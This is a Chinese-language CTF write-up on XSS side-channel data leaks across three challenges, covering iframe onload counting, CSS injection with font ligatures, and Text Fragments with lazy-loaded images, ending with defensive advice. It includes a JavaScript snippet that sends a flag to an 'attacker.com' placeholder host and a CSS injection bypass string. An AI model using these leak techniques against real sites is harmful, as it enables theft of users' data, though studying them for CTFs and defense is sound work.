从三道题学习xss侧信道
字数 1333 2025-08-06 08:35:39
XSS侧信道攻击技术深度解析
侧信道攻击简介
侧信道攻击(Side-channel attack)是一种基于从系统物理实现中获取信息而非直接破解算法弱点的攻击方式。在Web安全领域,XSS侧信道攻击利用非XSS代码本身的特性来绕过WAF,通过间接方式泄露数据。
35C3 CTF filemanager
关键技术点
-
iframe的onload机制
- 无论请求成功与否都会触发onload事件
- URL改变时才会触发onload事件
- 可用于端口扫描:端口不存在时URL会变为
chrome-error://chromewebdata/
-
XSS Auditor特性
- Chrome的安全机制,当请求中匹配到源码中的脚本时会阻止请求
- 阻止后会跳转到
chrome-error://chromewebdata/ - 结合iframe的onload可判断是否存在匹配
-
数据外带技术
- 通过修改iframe.src发送请求到攻击者服务器
- 使用计数器记录onload触发次数判断状态
利用代码示例
var iframe = document.createElement('iframe');
var url = "http://target.com/search?q=test";
var count = 0;
iframe.onload = () => {
count++;
if(count > 1){
console.log("匹配成功");
iframe.src = 'http://attacker.com/?flag='+encodeURIComponent(data);
}
if(count < 2){
iframe.src = iframe.src + "#";
}
};
iframe.src = url;
document.body.appendChild(iframe);
XCTF 2019 Final noxss
关键技术点
-
CSS注入绕过
- 利用CSS的错误兼容性:
%0a){}/*注入内容*/ - 通过换行使import语句失效
- 利用CSS的错误兼容性:
-
字体连字技术
- 定义特殊字体使特定字符组合宽度极大
- 触发滚动条后通过CSS发送请求
- 关键属性:
white-space: nowrap防止换行
-
自动化爆破流程
- 部署生成.woff字体文件的服务器
- 根据猜测字符动态生成字体
- 通过滚动条事件外带数据
字体定义示例
<glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="hack" horiz-adv-x="9000" d="M1 0z"/>
PlaidCTF 2020 catalog
关键技术点
-
User Activation机制
- Chrome限制某些API必须在用户交互后使用
- 影响Text Fragments等功能的可用性
-
Text Fragments特性
- 语法:
#:~:text=[prefix-,]textStart[,textEnd][,-suffix] - 只能匹配完整单词,不能匹配单词部分
- 必须在同一HTML标签块中
- 语法:
-
lettering技术
- 使用jQuery.lettering.js拆分字符
- 使每个字符成为独立span元素
- 配合Text Fragments实现精确匹配
-
懒加载检测技术
- 使用``
- 图片在视窗内才加载
- 通过是否发起请求判断匹配成功
攻击流程
- 注入HTML使页面包含大量
<br>将flag挤出视窗 - 使用Text Fragments尝试匹配flag
- 匹配成功时页面滚动,懒加载图片触发请求
- 通过请求日志判断是否匹配成功
浏览器数据外带方法总结
-
iframe相关技术
- 修改iframe.src触发请求
- 监听iframe.onload事件
-
CSS相关技术
- 滚动条样式触发请求
- 字体加载触发请求
-
图片懒加载
- ``
- 视窗内才加载的特性
-
其他方法
meta refresh重定向location.href跳转- 各种能触发网络请求的API
防御建议
- 严格过滤所有用户输入
- 合理设置CSP策略
- 禁用不必要的浏览器特性
- 对敏感操作增加二次验证
- 监控异常请求模式
通过这三道CTF题目的分析,我们可以深入理解XSS侧信道攻击的各种技术手段和利用方式,这些技术在实战渗透测试中也有重要应用价值。